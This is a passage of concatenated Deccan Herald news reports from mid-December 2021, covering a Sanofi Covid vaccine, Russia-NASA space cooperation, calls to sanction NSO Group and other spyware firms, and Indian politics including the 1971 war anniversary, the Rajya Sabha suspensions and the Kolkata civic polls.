conventional approach than that deployed in other, more swiftly developed Covid vaccines. It triggers immunity using a version of the coronaviruss spike protein that was synthesized in a laboratory using engineered viruses that grow inside insect cells. Sanofi led the development of the shot with help from GlaxoSmithKline, which supplied an adjuvant, an ingredient commonly used in vaccines meant to boost the immune response. In the early months of the pandemic, the vaccine was one of six selected for funding from Operation Warp Speed, the Trump administrations effort to accelerate vaccine development. But the vaccine hit a major setback a year ago, when its developers announced that a miscalculation in the manufacturing process had resulted in volunteers being given lower doses than planned and that plans for the Phase 3 study would have to be delayed. Watch the latest DH Videos here: Moscow expects NASA to start taking cosmonauts to the International Space Station again and is hopeful that cooperation can resume next year, the head of the Russian space agency was quoted as saying on Wednesday. Russia has been the only country capable of delivering people to the ISS since 2011 when the US space agency retired its space shuttle and divert resources towards deeper space exploration. But the US agency resumed flights to the ISS last month with its new Crew Dragon spacecraft, on which Moscow expects Washington to find berths for cosmonauts. Dmitry Rogozin, the head of Russian space agency Roscosmos, said he and his US counterparts had discussed the issue, alongside extending Russia's participation in the space station's upkeep beyond 2025, according to an interview published by Interfax. Strained relations between Washington and Moscow have extended into space, but Rogozin said the two agencies planned to finalise the Crew Dragon deal in the first half of 2022 when NASA chief Bill Nelson visited Moscow. Earlier this month Rogozin mentioned Anna Kikina, the only female cosmonaut at Roscosmos, as a likely nominee for such a flight. In November, US officials accused Russia of endangering the ISS after generating a debris field in low-Earth orbit that they said would pose a hazard to space activities for years. In early December, Roscosmos said the ISS had performed a manoeuvre to temporarily swerve away from a fragment of a US launch vehicle. Check out latest videos from DH: A group of US lawmakers is asking the Treasury Department and State Department to sanction Israeli spyware firm NSO Group and three other foreign surveillance companies they say helped authoritarian governments commit human rights abuses. Their letter sent late Tuesday and seen by Reuters also asks for sanctions on top executives at NSO, the United Arab Emirates cybersecurity company DarkMatter, and European online bulk surveillance companies Nexa Technologies and Trovicor. The lawmakers asked for Global Magnitsky sanctions, which punishes those who are accused of enabling human rights abuses by freezing bank accounts and banning travel to the United States. DarkMatter could not be reached for comment. The other three companies did not immediately reply to requests for comment. Also Read | Users can now check if their Apple iPhone has Pegasus spyware or not The letter was signed by the Senate Finance Committee Chairman Ron Wyden, House Intelligence Committee Chairman Adam Schiff and 16 other Democratic lawmakers. Along with other reporting on the industry, they cite a recent Reuters article this month showing that NSO spyware was used against State Department employees in Uganda. The lawmakers said the spyware industry relies on US investment and banks. "To meaningfully punish them and send a clear signal to the surveillance technology industry, the US government should deploy financial sanctions," they wrote. The letter says the companies facilitated the "disappearance, torture and murder of human rights activists and journalists." Surveillance firms have drawn increasing scrutiny from Washington as a barrage of media reports have tied them to human rights abuses. "These surveillance mercenaries sold their services to authoritarian regimes with long records of human rights abuses, giving vast spying powers to tyrants," Wyden told Reuters. "Predictably, those nations used surveillance tools to lock up, torture and murder reporters and human rights advocates. The Biden administration has the chance to turn off the spigot of American dollars and help put them out of business for good." In November, the Commerce Department put NSO on the so-called Entity List, prohibiting US suppliers from selling software or services to the Israeli spyware maker without getting special permission. A number of legal challenges also threaten the industry. Last week a prominent Saudi activist and the non-profit Electronic Frontier Foundation sued DarkMatter, alleging the group hacked into her phone. Apple sued NSO Group in November, saying that it violated US laws by breaking into the software installed on iPhones. A 2019 Reuters investigation, cited in the letter, also exposed a secret hacking unit within DarkMatter, known as Project Raven, that helped the UAE spy on its enemies. In a September settlement with the Justice Department, three members of that unit, all former US intelligence operatives, admitted to breaking hacking laws. Check out the latest DH videos here: On the eve of the 50th anniversary of India's win over Pakistan in the 1971 war and the liberation of Bangladesh, Congress chief Sonia Gandhi on Wednesday recalled Indira Gandhi's leadership during that period and asserted that the former prime minister remains an inspiration to crores of Indians for her "boldness" and "resilience". Addressing the closing ceremony of the party's celebrations of the Bangladesh Liberation War of 1971, Sonia Gandhi said it was an extraordinary convergence of a well-planned and perfectly-executed political, diplomatic and military strategy that gave 1971 a distinctive place in the history of the sub-continent. It was a history that reshaped geography as well, she said and hailed the valour of the Indian armed forces. The Congress chief said it was a remarkable group of individuals who made this truly historic effort possible and so tremendously impactful, adding that it was a gigantic collective enterprise. "Listening to them, guiding and being guided by them, leading them in a clear, purposeful and decisive manner was a remarkable woman. Today we recall Indira Gandhi with great pride. She remains an inspiration to crores of Indians for her boldness and for her resilience," she said. Also read: PM Modi to participate in reception ceremony of 'Swarnim Vijay Mashaals' at War Memorial on December 16 "She (Indira Gandhi) continues to evoke admiration for her fierce determination to make India self-reliant, especially in agriculture, nuclear energy and space technology, for her commitment to the cause of ecological protection, and for her sensitivity to the concerns of far-flung areas of our country and for its disadvantaged sections," Sonia Gandhi said. But it will not be an exaggeration to say that 1971 was, in many ways, Indira Gandhis "finest year", starting with the massive mandate she received in March, she said. "When the Bangladesh crisis erupted with the brutal crackdown in Dhaka and other places, she immediately understood its implications and swung into action," Sonia Gandhi said. Indira Gandhi reached out to all political parties and public figures, wrote to presidents and prime ministers, dispatched emissaries abroad, ensured that the USSR was with India, travelled tirelessly to Western capitals and sensitised the entire world community to the cause of the people of Bangladesh with personal interviews, meetings and appeals, the Congress chief said. "And how can we ever forget the manner in which she stood up with the greatest fortitude to the crass insensitivity and crude bullying of the then President of the United States and some of his advisers, and did India proud," she said. Those were tension-filled days, weeks and months, but she remained supremely composed and confident drawing upon her immense reserve of inner strength, Sonia Gandhi said. She noted that Indira Gandhi was also incidentally Home Minister right through this turbulent period and her cabinet had a distinguished galaxy of stalwarts like Jagjivan Ram, Defence Minister; Sardar Swaran Singh, Minister of Foreign Affairs; Y B Chavan and so many others. "So, today, we celebrate a magnificent accomplishment. But I think, Indira Gandhi would have wanted us to do so, not in a boastful spirit or in a spirit of self-glorification, but in a spirit of reflection and resolve," Sonia Gandhi said. "Let us therefore recall and celebrate that glorious occasion reaffirming our steadfast commitment to the values she cherished, the ideals she espoused and the causes she fought forand ultimately sacrificed her life for," she said. Congratulating the people of Bangladesh, Sonia Gandhi said the country has developed significantly in the face of great challenges. "Very recently the United Nations graduated it from, I quote least developed country to the developing country category'. It is only appropriate that Bangladeshs achievements are recognised as it celebrates the golden jubilee of its liberation," Sonia Gandhi said. "India, as you all know, shares a very warm relationship with it and bears a special responsibility to sustain and deepen that relationship," she said. Undoubtedly, individuals played a pivotal and defining role and "we owe so much to each and every one of them", she asserted. "But it was in reality the triumph of the will of the people of the Bangladesh and a fulfilment of their aspirations. It was also a victory of the people of India under the leadership of Prime Minister Indira Gandhi," Sonia Gandhi said. She said that 50 years ago, the brave and courageous people of Bangladesh gave themselves a new future and India stood by their side in solidarity to assist them in diverse ways. "It provided a home to some 10 million refugees. It extended humanitarian support. It mobilised international backing. It raised its voice in regional and global forums. Ultimately, when attacked it mounted a hugely successful military operation," she noted. The intrepid freedom fighters of Bangladesh must be recalled and cheered, the Congress chief said. The fine Indian civil servants and intelligence agencies of that time must also be recalled and applauded, she added. "All those in different countries of the world who stood by Bangladesh and India must be recalled and appreciated. Most of all, the discipline, dedication, valour and sacrifices of the Indian armed forces must be recalled and saluted," Sonia Gandhi said. Former Congress chief Rahul Gandhi, former defence minister AK Antony, Leader of Opposition in Rajya Sabha Mallikarjun Kharge, former Lok Sabha Speaker Meira Kumar, Lieutenant General ARK Reddy, Vice Admiral SK Bhasin, Air Vice Marshal Kapil Kak, Captain Praveen Davar, among others, were present on the occasion. Check out latest videos from DH: President Ram Nath Kovind on Wednesday assured the top leadership here that Bangladesh has a "special place" in India's 'Neighbourhood First' policy and underlined that the bilateral relationship based on sovereignty, equality, trust and understanding is mature enough to handle the "most complex of problems". President Kovind, who arrived earlier in the day on his maiden State Visit at the invitation of his counterpart M Abdul Hamid to attend the golden jubilee celebrations of Bangladesh's independence from Pakistan in 1971, held delegation-level talks with him which was followed by a banquet. "President Kovind @rashtrapatibhvn welcomed by Bangladesh President HE Md. Abdul Hamid for their bilateral meeting at Bangabhaban. Further expanding bilateral ties based on sovereignty, equality, trust and understanding that transcend even a strategic partnership, Ministry of External Affairs (MEA) spokesperson Arindam Bagchi tweeted. During his meeting with Hamid, President Kovind "reiterated that Bangladesh has a special place in Indias neighbourhood first policy" and said that Indias development partnership with Bangladesh is one of the most comprehensive and wide-ranging ones, according to a statement issued by the Indian Presidents office. Also Read | Bangladesh accords red carpet welcome to President Ram Nath Kovind "At the same time, our relationship is mature enough to handle the most complex of problems, he said. Speaking about trade and connectivity, President Kovind said that connectivity forms an important pillar of India-Bangladesh relations. The two countries have much to gain from their geographical proximity, he said. Noting that Bangladesh is one of Indias largest trade partners, he said that New Delhi looks forward to a more organised and seamless trade between the two countries. He noted that there is a lot of scope in partnering in areas like space, nuclear technology, defence, pharmaceuticals and other advanced science and technology fields. He said that a formal Comprehensive Economic Partnership Agreement would give a significant boost to two-way trade. After the delegation-level talks, President Hamid hosted a banquet in his Indian counterpart's honour at Bangabhaban Presidential Palace. Earlier, Prime Minister Sheikh Hasina called on President Kovind and the two leaders discussed several issues of mutual interest and bilateral cooperation. Both sides reviewed the progress in the multifaceted and comprehensive bilateral ties. The two leaders also recalled the spirit of the 1971 Liberation War and expressed satisfaction at the joint celebration of Maitri Diwas on December 6, Bagchi said. Foreign Minister Dr A.K. Abdul Momen separately called on President Kovind and "apprised him of the excellent progress in bilateral cooperation and of future joint projects, including in the area of connectivity," he said. Also Read | Rahul to rally in Dehradun on December 16 to honour war veterans, Gen Rawat Briefing the media later in the evening, Foreign Secretary Harsh Vardhan Shringla said President Kovinds discussion with Prime Minister Hasina was comprehensive encompassing many areas of our multifaceted relationship, including jointly preserving the legacy of Bangabandhu and 1971 war. "We are aspirational nations. Today, we have achieved an incredible amount of synergies in terms of connectivity, joint manufacturing and cooperation. We have set the stage for an exponential increase in ties, he said. Responding to a question, Shringla said that the Indo-Bangla Friendship Pipeline is progressing very well and we would be in a position to inaugurate it next year. He also said that India has decided to review the Nutan India-Bangladesh Maitree Muktijoddha Sontan Scholarship Scheme for the heirs of Bangladesh's Muktijodhas. The scheme was launched in April, 2017 during the visit of Prime Minister Hasina to India. On the Rohingya issue, Shringla said that India has always called for the sustainable and speedy return of displaced persons to the Rakhine state of Myanmar. We have always worked with Bangladesh and Myanmar to resolve this issue." He said President Kovind will also inaugurate the renovated Sri Ramna Kali Mandir, which was completely destroyed by Pakistani forces during Operation Searchlight in 1971. On his part, President Hamid described India as a very close and faithful friend of Bangladesh and recalled the overall cooperation of India in the 1971 Liberation War. He thanked the government and people of India, according to Bangladesh presidents press secretary M Joynal Abedin. President Kovind called Hamid a War Hero and gifted him two replicas a Russian made T-55 tank and Mig-21 vintage aircraft used during the 1971 war, Abedin added. President Hamid was a muktijoddha (freedom fighter) and served as Sector commander of Mujib Bahini in Meghalaya state during Bangladeshs independence war. Hamid said over the past one decade, relations between the two countries have expanded in the areas of security, border demarcation, power and energy, trade and commerce, infrastructure and communication and eventually the relations between the people of the two countries have strengthened. Bangladesh premiers press secretary Ihsanul Karim said that President Kovind told Prime Minister Hasina that he was very happy to be part of the celebrations of three mega events - birth centenary of Father of the Nation Bangabandhu Sheikh Mujibur Rahman, Golden Jubilee of Bangladesh's independence and diplomatic relationship between the countries. Hasina described India as a great friend and recalled the then Indian government and peoples crucial role during Bangladeshs War of Liberation in 1971. "Exchange of visits between the countries even amid the Covid-19 situation is the testimony of warm relationship between the two countries," she said, acknowledging her Indian counterpart Narendra Modis historic and successful Bangladesh tour in March this year when the celebration of the three events were opened. Hasina said after the 1965 India-Pakistan War, when Bangladesh was Pakistans eastern wing, the commutations between the two countries were snapped in various routes and called for restoring those routes. She expressed satisfaction over the ongoing cooperation in various areas even in the current pandemic situation. The Indian President hoped that under the leadership of Sheikh Hasina Bangladesh will be more prosperous and developed and appreciated Bangladeshs support to India in different international forums, Karim said. Hasina told the Indian leader that Bangladesh believes in secularism and "all are free to perform their own religious rites and rituals. There is no barrier here. Religion is for individuals, and festivals for all", Karim added. President Kovind, who is here on a three-day visit, is the only foreign head of state invited to join the celebrations which also coincides with birth centenary celebrations of Bangabandhu Sheikh Mujibur Rahman and 50 years of Dhaka-New Delhi ties. It is President Kovinds first trip abroad since the outbreak of the Covid-19 pandemic. He will represent India as the guest of honour in Bangladeshs 50th Victory Day celebrations here. In a reflection of close ties, India is also hosting a number of events to mark the 50th anniversary of the 1971 India-Pakistan war that led to the liberation of Bangladesh. Check out DH's latest videos Congress leader Rahul Gandhi on Wednesday paid rich tributes to Sardar Vallabhbhai Patel on his death anniversary. "My tribute to dear leader Sardar Vallabhbhai Patel on his death anniversary. It is founding fathers like him who have created our beautiful nation. We must unite to conserve the spirit of India," Gandhi said in a Facebook post. A host of Congress leaders also remembered India's first home minister who played a crucial role in the integration of several princely states with the Union. Also Read | PM Modi pays tribute to Sardar Patel on death anniversary The BJP has been accusing Congress of ignoring the legacy of Sardar Patel. The Congress put out several tweets on its official Twitter handle remembering Patel and paying him rich tributes. "A symbol of unity, a symbol of strength, a symbol of devotion to our motherland, Iron Man of India, Sardar Vallabhbhai Patel, gave his everything for the progress and prosperity of our people. Today, we pay our heartfelt tribute and pledge to walk by the great legacy he left behind," Congress said on Twitter. A symbol of unity, a symbol of strength, a symbol of devotion to our motherland, Iron Man of India, Sardar Vallabhbhai Patel, gave his everything for the progress & prosperity of our people. Today, we pay our heartfelt tribute & pledge to walk by the great legacy he left behind. pic.twitter.com/lMaun1vWHa Congress (@INCIndia) December 15, 2021 "Our Sardar, much like our Mahatma, left behind a path of non-violence for us all to follow. Even deviating a little from this path is a great dishonour to their memory," the party said in another tweet, using the hashtag "SardarVallabhbhaiPatel". Our Sardar, much like our Mahatma, left behind a path of non-violence for us all to follow. Even deviating a little from this path is a great dishonour to their memory.#SardarVallabhbhaiPatel pic.twitter.com/ah6Jcv227H Congress (@INCIndia) December 15, 2021 Several Congress leaders including Leader of Opposition in the Rajya Sabha Mallikarjun Kharge and party chief whip Jairam Ramesh, chief spokesperson Randeep Surjewala, party whip in the Lok Sabha Manickam Tagore also remembered Patel and paid him tributes. "Remembering the unifier of the nation, Sardar Vallabh Bhai Patel on his punyatithi. His efforts towards the integration of India bear testimony to his leadership. The people of India are indebted to him for his role in the freedom struggle & his statesmanship after Independence," Kharge said on Twitter. Check out the latest videos from DH: Ten Rohingyas, lodged in Assam's Tezpur central jail for the last seven years, have appealed to the Gauhati High Court to either give them refugee status or send them back to Myanmar. The ten persons, belonging to two families related to each other, were arrested in 2014 for entering the country without valid documents and are in jail since then. Justice Kotiswar Singh and Justice Malasri Nandy, hearing their plea recently, observed that the petitioners have admitted that they are citizens of Myanmar who have been convicted for entering the country without proper documentation. They have served sentences imposed by the court and have been languishing in jail, the court said. "The plea of the petitioners is that they be allowed to remain in India by granting them refugee status or be deported to their country of origin i.e Myanmar. The authorities, however, are not taking any decision in this regard and they are languishing in jail," the court observed. The Special Counsel of Foreigners' Tribunal has sought some time to take instructions from the government on the course of action it would adopt in the case of the petitioners, the court said. The court posted the matter for further hearing on December 16. Check out DH's latest videos: The petitioners are Saidur Rahman, his wife and three children, and Mahmadulla, his wife and three children. They hail from Coundang village in Myanmar's Rakhine state. As the opposition BJP, Left Front and the Congress focus on alleged illegal constructions in the city, "worsening" law and order and waterlogging as the main planks in their manifestos for the Kolkata Municipal Corporation (KMC) elections, the ruling Trinamool Congress promises to improve facilities which, the party asserted, have been put in place during its tenure in the past two terms. Since May 2020, the city's municipal body is being run by a board of administrators formed following the postponement of the civic elections in the state amid the Covid-19 pandemic. The KMC poll is scheduled to be held on December 19. In its manifesto, the TMC said to combat increased waterlogging in the city, which it claimed is due to change in rainfall pattern, existing pumping stations will be upgraded and 200 pumps procured to flush out accumulated water during heavy rain. Also Read Calcutta High Court refuses to stay upcoming Kolkata Municipal Corporation elections It also talked of revamping the Adi Ganga canal with regular dredging. Even as complaints of broken roads by motorists rise, the TMC promised pothole-free Kolkata roads and a reduction in traffic congestion through the construction of 50 escalator-enabled footbridges and subways at major intersections and widening of roads. Road space in the city is reported to be around 4 per cent and experts have pointed to the blockage of footpaths by hawkers as one of the reasons for congestion of thoroughfares since people are forced to walk on roads. The chairman of the KMC board of administrators, Firhad Hakim, claimed that numerous projects -- from drinking water treatment plants to flyovers -- have been successfully taken up during the tenure of the TMC, while accusing the Centre of scuttling plans, such as building a flyover in New Alipore area of south Kolkata. Stressing the need for providing quality education to children of all income groups, the TMC promised the conversion of 100 municipal schools into English medium and upgrade of infrastructure. It also promised make Kolkata dengue-free by setting up 30 new detection centres and seasonal cleaning and fumigation drives. The BJP, on the other hand, termed Kolkata as a symbol of literature, culture, harmony and fraternity, and promised to bring back the city's lost pride. The party, in its manifesto, promised strict enforcement of the law to ensure the safety of women and children and prevent crimes in the city. Also Read TMC promises 'pothole-free' Kolkata roads if voted back to power in city polls Pointing at a recent incident in which a policeman and a civic volunteer were accused of molesting a woman who had sought their in neighbouring Bidhannagar, BJP State President Sukanta Majumdar said, "This is an example of the law and order situation under the TMC rule." Claiming that law and order is good under the Mamata Banerjee government, senior TMC MP Saugata Roy termed it as a "stray incident". The BJP manifesto pledged to improve healthcare facilities, water supply and appropriate preventive measures to weed out malaria and dengue. It said that it will ensure that the city ranks among the top for cleanliness and will embark on a beautification drive. The saffron party also promised better roads and the construction of new flyovers to reduce congestion. For resolving the waterlogging problem of city roads and low-lying areas during monsoon, the BJP said it will overhaul the drainage system. BJP spokesperson Samik Bhattacharya accused the TMC of being incapable of solving the problems of the metropolis, stating that the KMC had required the help of Odisha to clear roads of felled trees following cyclone Amphan in 2020. "The BJP's goal is to provide a modern Kolkata city free of problems of waterlogging, drinking water, etc," he said. Also Read Kolkata civic polls: Left pins hope on Red Volunteers to recover lost ground Municipal schools will be provided with modern computers and scientific instruments, while their infrastructure will be bettered, the saffron party said in its manifesto. It also promised a separate legal cell of the KMC against illegal construction and for safeguarding the interests of the buyers of real estate. The Left Front alleged that around 3,000 waterbodies in the city have been filled up illegally and nearly 50,000 trees have been felled during the TMC's tenure, helping Kolkata enter the top echelons of the unenviable list of most-polluted cities in the world. The CPI(M)-led group claimed that around 28,000 posts in the KMC are lying vacant and work is being done by temporary or contract workers. It further claimed that the slums in the city are making way for illegal high-rise buildings, promising to take measures on these issues if it wins the elections to the 144-ward KMC. The Congress, which has seen its fortunes dwindle steadily in the city's civic body elections, has promised empowerment of women and betterment of facilities like education for children and healthcare for senior citizens. It also promised to stop illegal construction in the city. Watch the latest DH Videos here: With a majority of its MPs giving Parliament a slip, the Congress has issued a three-line whip to its lawmakers in the Rajya Sabha asking them to be present in the House during the day on Wednesday. The whip issued by party's Chief Whip Jairam Ramesh comes as several MPs did not attend the joint march organised in solidarity with the suspended MPs and their absence in the House impacting the protest. .@INCIndia issues three-line whip to its MPs in Rajya Sabha to attend proceedings on Dec 15. This comes following party taking strong notice of absence of its MPs @DeccanHerald pic.twitter.com/0LHdxMWOzW Shemin (@shemin_joy) December 14, 2021 Sources said floor leaders of some parties raised the issue of subdued protest in Rajya Sabha on Monday despite a decision to intensify the protest and if needed, disrupt the proceedings. Read | Oppn protests against MPs' suspension hit the streets Of this, former Prime Minister Manmohan Singh is not attending the Winter Session owing to health issues. There has been criticism from some quarters of the Opposition that the Congress was not putting its full weight behind the protest. A section of the senior Congress leaders are for the suspended MPs expressing regret and move on, another section of leaders are not for any compromise on the issue of suspension. There is a feeling within the Opposition that giving indications to the government side that the Opposition was willing to express regret would give the opponents an upper hand and it should not be done. The decision to hold a joint march of Lok Sabha and Rajya Sabha MPs came as the leaders agreed to the decision of intensifying the stir. At the same time, sources said, there is a delay in finalising the protest at Jantar Mantar where national leaders were expected to end. Initially it was planned to hold the meeting either on Wednesday or Thursday but it has now been postponed by at least one day. However, a final decision is yet to be taken and it is expected to happen by Friday. Sources said a meeting of Opposition leaders on Wednesday morning is likely to provide more clarity on the issue. Watch latest videos by DH here: Opposition on Wednesday stepped up protest inside and outside Rajya Sabha demanding revocation of 12 MPs' suspension even as floor leaders urged Chairman M Venkaiah Naidu to call a meeting to resolve the impasse. Rajya Sabha witnessed disruption during the day as Opposition MPs trooped to the Well of the House as and when the House functioned before the Chair called it a day in the afternoon. During the morning session, senior Congress leaders P Chidambaram and Anand Sharma sought to move a motion to revoke the suspension of the MPs citing rules but was disallowed by the Chair saying that their notice was not accompanied by a motion. The protest over this led to the first of the four adjournments during the day. Sources said a group of leaders -- Leader of Opposition in Rajya Sabha Mallikarjun Kharge, Congress Deputy Leader Anand Sharma, Congress Chief Whip Jairam Ramesh, Shiv Sena floor leader Sanjay Raut and RJD's Manoj K Jha -- met Naidu seeking his intervention to resolve the impasse over the suspension of MPs. Also read: Ready to accept demand of revoking suspension of MPs if they apologise: Centre The leaders suggested that Naidu should convene a meeting of floor leaders of all parties to resolve the stalemate but sources said that Naidu told them that such a meeting would be called at an "appropriate" time. Sources also said that Naidu implied that such a meeting would serve no purpose when either the suspended MPs or their leaders were not willing to express regret in an appropriate manner. Opposition sources said they are not blaming the Chairman for not calling a meeting, as he was not getting any signal from the government. "There is no point in the Chairman calling a meeting if the government has not given any signal for resolving the matter. Otherwise, it would be a futile exercise," a senior Opposition leader told DH. At a meeting of top Opposition leaders called by Congress president Sonia Gandhi on Tuesday evening, it was decided that NCP chief Sharad Pawar along with Kharge would meet Naidu to find a way out. Sources said though there was no physical meeting on Wednesday, Pawar spoke to Naidu on Tuesday during which Naidu is learnt to have conveyed that he could not do much as the ball is in the government's court. Also read: Why was motion to terminate suspension of Rajya Sabha members disallowed? asks Chidambaram On his part, Naidu held a meeting with senior officials of the Rajya Sabha Secretariat on the revocation of suspension following media reports about Pawar and Kharge's possible meeting with him. The officials told Naidu that the decision on suspension was taken by the House and its revocation also had to be decided by the House. In respect of several such suspensions in the past, sources said, they told Naidu that no suspension was revoked before the completion of the suspension period without the suspended MPs or leaders of respective parties regretting their conduct that led to their suspension. Earlier in the day in Rajya Sabha, Sharma cited rules to say that a member can move a motion to revoke the suspension and that he and Chidambaram have given a notice. In the House, Naidu said he had not received the notice at the time Sharma was speaking. Later, Deputy Chairman Harivansh conveyed the decision of the Chairman that the notice mentioned by Sharma was not in the required format and was not admissible. Sources in the Rajya Sabha Secretariat said Naidu told the leaders during the meeting that the notice by Sharma and Chidambaram was not accompanied by the text of the Motion to be moved in the House and that was the reason why it was not admissible. Also read: BJP Rajya Sabha MPs protest Opposition's behaviour over suspension of 12 lawmakers Even if any notice served was in order, sources quoted Naidu as saying, he would need time to examine the same before deciding on its admission and he cannot be forced either inside or outside the House for a decision. Sources also said the notice served by the senior Congress MPs only conveyed their intention of moving a Motion under Rule 256(2) for the termination of the suspension of 12 Members of the House without, however, providing the text of the Motion to be moved. They said Rule 223(1) of the Rules of Procedure of the House requires that every Notice in writing shall be addressed to the Secretary General and shall be left at the Council Notice Office so as to enable further consideration. However, sources claimed, the notice by the Congress MPs was "scribbled on a piece of paper" and given to the Chairman in the House when Zero Hour was in progress and they demanded immediate action on it. Check out latest videos from DH: Rashtriya Swayamsevak Sangh (RSS) chief Mohan Bhagwat on Wednesday asked the Hindus to take a pledge to ensure 'ghar wapsi' of their brethren who had "converted", and made a renewed clamor for the Shreekrishna Janmabhoomi at Mathura. Bhagwat was speaking at 'Hindu Mahakumbh', which began at Chitrakoot on Tuesday. The seers at the Mahakumbh also expressed serious concern over ''Love Jihad, conversion'' and alleged ''attempts to effect demographic changes through increasing population'', and demanded measures to "protect" the Hindu culture and traditions. Bhagwat, who addressed saints and seers, who had assembled at Chitrakoot to take part in the religious congregation, also stressed the need for 'unity' among the Hindus and asked the majority community members to shun casteism and other social evils. "Take a pledge that I will persuade those who have converted, to embrace Hinduism and also make sure that the Hindus don't convert... I also take a pledge to protect the dignity of our Hindu sisters," Bhagwat said. The RSS chief appealed to the seers to work towards bringing Hindus together, shunning their differences. Also read: RSS not a military organisation, it's a group with family atmosphere: Mohan Bhagwat The other seers, who spoke at the meeting, said that there was an attempt to erase the Hindu culture and national identity through demographic changes and sought measures to protect it. "Only those who have two children should be given voting rights," demanded a prominent seer. ''Hindu girls are being lured in the name of Love Jihad... they are being exploited... it must stop,'', demanded another seer. The seers said that some forces were out to weaken Hinduism by encouraging conversion. "Strong measures are needed to stop conversion," demanded Jagadguru Rambbhadracharaya Maharaj, a prominent seer. He also sought a law for cow protection. Rambhadracharya also referred to the Shreekrishna Janmabhoomi at Mathura and said that it should be given back to the Hindus. "We already have A (Ayodhya) and K (Kashi)... now we want M (Mathura)," he remarked. The assertions at the Hindu Mahakumbh came amid similar remarks on the Mathura by several BJP leaders, including UP deputy chief minister Keshav Prasad Maurya. In what is seen as a message to Trinamool Congress supremo Mamata Banerjee, Congress president Sonia Gandhi on Tuesday evening held discussions with top leaders, including Sharad Pawar, Farooq Abdullah and Sitaram Yechury, on strengthening the larger Opposition unity and intensifying the fight in the Parliament against the Narendra Modi government. Maharashtra Chief Minister Uddhav Thackeray and his Tamil Nadu counterpart M K Stalin were invited but they could not attend it and deputed Sanjay Raut and T R Baalu for the meeting, which also discussed the Opposition protest against suspension of 12 Rajya Sabha MPs and requested the intervention of NCP supremo Sharad Pawar in finding a resolution. Sources said Pawar along with Leader of Opposition in Rajya Sabha Mallikarjun Kharge will meet Rajya Sabha Chairman M Venkaiah Naidu on Wednesday. Also Read | Opposition protests rock Rajya Sabha over issue of suspended MPs This was the first round of meeting as Sonia is slated to meet other Opposition leaders in the coming days before the Parliament Session ends on December 23, sources said. For the Congress, sources said, the meeting is a "signal and message" to Trinamool Congress, which has been trying to "overthrow" the party from its pole position in the Opposition. Mamata, during her visit to Mumbai, had met Pawar and commented that the Congress-led UPA is not in existence. Sources said CPI(M) General Secretary Yechury advised that there should be more such meetings and it should not be on a large-scale as the one held on August 20 when all parties were present. He cautioned that Trinamool and Mamata's absence in such a meeting could lead to a portrayal of a break in Opposition ranks. At the August 20 meeting chaired by Sonia, it was decided that all Opposition leaders would meet again before the Winter Session but Mamata's aggressive political positioning against the Congress has thwarted any joint Opposition meetings. During the meeting, sources said, the leaders highlighted the need for a united fight by the Opposition inside and outside Parliament, especially with Assembly elections to five states round the corner. Sources said the issue of suspension of MPs came up for discussion and the leaders felt that it was strange that there was no attempt at resolving the impasse. Usually, sources said, the Rajya Sabha Chairman takes the initiative to clear the logjam by calling a meeting of leaders from both the sides. When Leader of Opposition in Rajya Sabha Mallikarjun Kharge, who attended the meeting, was asked to meet Naidu, he told the leaders that he had met the latter several times. At this, sources said, Sonia and others requested Pawar to intervene and meet Naidu along with Kharge. Sources said Sonia is likely to meet another group of leaders in a day or two. "It was a meeting about the country. We talked about how we can work together and move forward and how we can take out the country from this difficulty. A good agreement has been formed among us," National Conference chief Farooq Abdullah told reporters after the meeting. Shiv Sena's Raut said the main agenda was Opposition unity in states and there would be more meetings. DMK's Baalu said they were working out a political strategy. Check out latest DH videos here Uttar Pradesh Chief Minister Yogi Adityanath Wednesday accused the previous Samajwadi Party government of bias towards a specific caste in the recruitment process, even as he claimed his government has fulfilled all the resolutions it made to people in 2017. The BJP leader said he is now seeking suggestions for the 2022 elections under the 'Sujhav aapka sankalp hamara (your suggestions, our resolve)' campaign. "This is the first government which has issued its report card periodically to stress that we did what promised," the chief minister said here. "We had issued a 'sankalp patra' which was different from the traditional manifesto of political parties. Announcements are made but 'sankalp' is what is adopted as a mantra and followed and implemented with full honesty. Sankalp is a medium of lok kalyan and taken for national welfare," he said. Accusing the previous Samajwadi Party government of being biased towards a specific caste, the BJP leader alleged that before 2017 all recruitments were "controversial", but the dispensation under him has given jobs to more than 4.5 lakh youths with "full transparency". Also read: Yogi Adityanath's play: What the new charges in the Lakhimpur Kheri case mean "There was casteism-nepotism in appointments. When the result of Deputy Collector was declared by the UPPSC in 2015, you must have seen that out of total 86 appointments, 56 belonged to a particular caste, disrespecting merit," the chief minister said, adding that during the recruitment process, members of one family used to go out for extortion. The Akhilesh Yadav government had often been accused by Opposition parties of favouring his own caste in the recruitment process. Meanwhile, the chief minister also launched 'Akanksha Peti' seeking suggestion under the 'Sujhav Aapka Sankalp Hamara' programme. For the 2022 assembly elections, the BJP will keep Akansha Peti at 30,000 places in the village and urban areas of the state. Sharpening his attack on rival parties, the CM said, "Before 2017, people used to point fingers at Uttar Pradesh but today under the BJP's rule, Uttar Pradesh has undergone a complete transformation and its perception before the country and across the globe has changed." "This is the same state having the same resources, but the perception changed with a change in government," he said. "We did what we promised in 2017 and for the next 'sankalp patra (we)are seeking suggestions with an assurance to the people of better security atmosphere, development and a pledge to make the state as number one state," he said. Also read: Priyanka slams Yogi govt over condition of 'gaushalas' in UP "Earlier governments used to open fire on the farmers. They were a symbol of exploitation but we waived off farm loans to get farmers to get them out of debt." Cow slaughtering, cattle smuggling and illegal slaughterhouses used to be the hallmarks of previous governments, he charged. "But as soon as the BJP came to power in 2017, all illegal slaughterhouses were closed. Our government worked for cow protection. Under the 'Mukhya Mantri Besahara Gauvansh Sahbhagita Yojana', the state government gives Rs 900 per month to volunteers to take care of stray cattle," he said. There was no policy for the procurement of sugarcane and sugarcane arrears for 10 years were pending, he said. "We brought a procurement policy and arrears of 10 years worth Rs 1.48 lakh crores have been paid," he said, alleging previous dispensations sold sugar mills and this government started the closed ones. Even during the Covid-19 period, all the 119 sugar mills operated in the state, he said. The chief minister also alleged poor law and order under past government claiming parents used to worry about their girls venturing out of their houses and said that this has changed now. Check out latest videos from DH: Hitting out at the BJP two days after the inauguration of the Kashi Vishwanath corridor, Samajwadi Party chief Akhilesh Yadav on Wednesday said that the Narendra Modi-led party wears religious 'spectacles' and adds a religious perspective to everything as elections draw closer. The mega corridor event had drawn a sharp reaction from Yadav on Monday, as he remarked jeeringly that people stay in Benaras "when the end nears", sparking condemnation from the BJP, which said his taunts were "cruel" and equated the former Uttar Pradesh chief minister with Mughal emperor Aurangzeb. "As elections approach, BJP wears religious spectacles and sees everything on the basis of religion... 